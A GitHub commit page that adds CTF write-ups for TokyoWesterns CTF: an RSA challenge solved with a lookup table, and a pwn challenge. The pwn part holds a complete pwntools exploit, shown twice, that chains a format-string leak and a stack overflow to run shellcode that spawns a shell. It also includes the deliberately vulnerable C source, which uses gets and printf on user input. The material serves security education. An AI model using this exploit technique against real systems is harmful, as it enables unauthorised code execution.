Skip to content

Commit e89291d

Browse files
committed
Added twctf
1 parent 1a2efd3 commit e89291d

File tree

10 files changed

+159
-0
lines changed

10 files changed

+159
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ My solutions for various CTF challenges
1313
- [nactf.com](nactf.com)
1414
- [ctf.csaw.io](ctf.csaw.io)
1515
- [affinityctf](affinityctf)
16+
- [twctf](twctf)
1617

1718
Capturing flags for self-education in information security since July 2019.
1819

twctf/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# twctf
2+
3+
## crypto
4+
5+
- [real-baby-rsa](crypto/real-baby-rsa)
6+
7+
## pwn
8+
9+
- [nothing-more-to-say](pwn/nothing-more-to-say)
10+

twctf/crypto/real-baby-rsa/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# real-baby-rsa
2+
3+
## crypto - Points: 40
4+
5+
> [problem.py](problem.py)
6+
>
7+
> [output](output)
8+
9+
Given is a python script, that encrypts a flag with `N` and `e`, and the encrypted `output`. Every character is encrypted separately, so we can create a lookup table by encrypting all possible printable characters with the same parameters and then simply look them up to get the flag.
10+
11+
flag: `TWCTF{padding_is_important}`

twctf/crypto/real-baby-rsa/output

Lines changed: 27 additions & 0 deletions
Large diffs are not rendered by default.

twctf/crypto/real-baby-rsa/problem.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
flag = 'TWCTF{CENSORED}'
2+
3+
# Public Parameters
4+
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
5+
e = 65537
6+
7+
# Encrypt the flag!
8+
for char in flag:
9+
print(pow(ord(char), e, N))

twctf/crypto/real-baby-rsa/sol.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
2+
e = 65537
3+
4+
5+
with open("output", 'r') as file:
6+
data = file.read().splitlines()
7+
8+
9+
keys = {}
10+
for i in range(33,126):
11+
keys[str(pow(i, e, N))] = chr(i)
12+
13+
14+
flag = ''
15+
for cipher in data:
16+
flag += keys[cipher]
17+
18+
19+
print flag
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# nothing more to say
2+
3+
## pwn - Points: 78
4+
5+
> Japan is fucking hot. nc nothing.chal.ctf.westerns.tokyo 10001
6+
>
7+
> [warmup](warmup)
8+
>
9+
> [warmup.c](warmup.c)
10+
11+
The binary has no security mechanisms enabled, we can overflow the buffer and can exploit format strings! This gives many exploit possibilities, I decided to place shellcode on the stack and overwrite the `RIP` to jump to it. The only challenge is to deal with `ASLR` and find a reliable way to leak an address that points on the shellcode.
12+
13+
Thanks to the format string vulnerability I could search for offsets whose contents are addresses that point somewhere in the program memory space and calculated offsets that point to the overwritten buffer. So on the first stage the input is a format string to leak an address and overflow the `RIP` to point to the `main` function to recursively call it again for another input.
14+
15+
On the second stage the input is a large `NOP` slide and then the shellcode and an address to overwrite the `RIP` that hopefully points somewhere on the `NOP` slide.
16+
17+
Exploit script:
18+
19+
```python
20+
from pwn import *
21+
22+
23+
context.clear(arch='amd64')
24+
shellcode = asm(shellcraft.sh())
25+
26+
p = process('warmup')
27+
# p = remote("nothing.chal.ctf.westerns.tokyo", 10001)
28+
29+
p.recvuntil(':)\n')
30+
31+
fmt_str = '%47$p'
32+
p.sendline(fmt_str + '\x41' * (264-len(fmt_str)) + p64(0x4006ba))
33+
34+
resp = p.recvuntil(':)\n')
35+
print resp
36+
37+
stk = resp[2:14]
38+
RIP = p64(int(stk,16) - 400)
39+
40+
p.sendline('\x5a' * (264-len(shellcode)) + shellcode + RIP)
41+
p.interactive()
42+
```

twctf/pwn/nothing-more-to-say/sol.py

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
from pwn import *
2+
3+
4+
context.clear(arch='amd64')
5+
shellcode = asm(shellcraft.sh())
6+
7+
p = process('warmup')
8+
# p = remote("nothing.chal.ctf.westerns.tokyo", 10001)
9+
10+
p.recvuntil(':)\n')
11+
12+
fmt_str = '%47$p'
13+
p.sendline(fmt_str + '\x41' * (264-len(fmt_str)) + p64(0x4006ba))
14+
15+
resp = p.recvuntil(':)\n')
16+
print resp
17+
18+
stk = resp[2:14]
19+
RIP = p64(int(stk,16) - 400)
20+
21+
p.sendline('\x5a' * (264-len(shellcode)) + shellcode + RIP)
22+
p.interactive()

twctf/pwn/nothing-more-to-say/warmup

8.35 KB
Binary file not shown.
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
// gcc -fno-stack-protector -no-pie -z execstack warmup.c -o warmup
2+
#include <stdio.h>
3+
4+
void init_proc() {
5+
setbuf(stdout, NULL);
6+
setbuf(stdin, NULL);
7+
setbuf(stderr, NULL);
8+
}
9+
10+
11+
int main(void) {
12+
char buf[0x100];
13+
init_proc();
14+
puts("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nWe provide some hints for beginners spawning a shell to get the flag.\n\n1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflow.\n2. NX-bit is disabled. You can run your shellcode easily.\n3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.\n\nIf you get stuck, we recommend you to search about ROP and x64-shellcode.\nPlease pwn me :)");
15+
gets(buf);
16+
printf(buf);
17+
return 0;
18+
}

0 commit comments

Comments
 (0)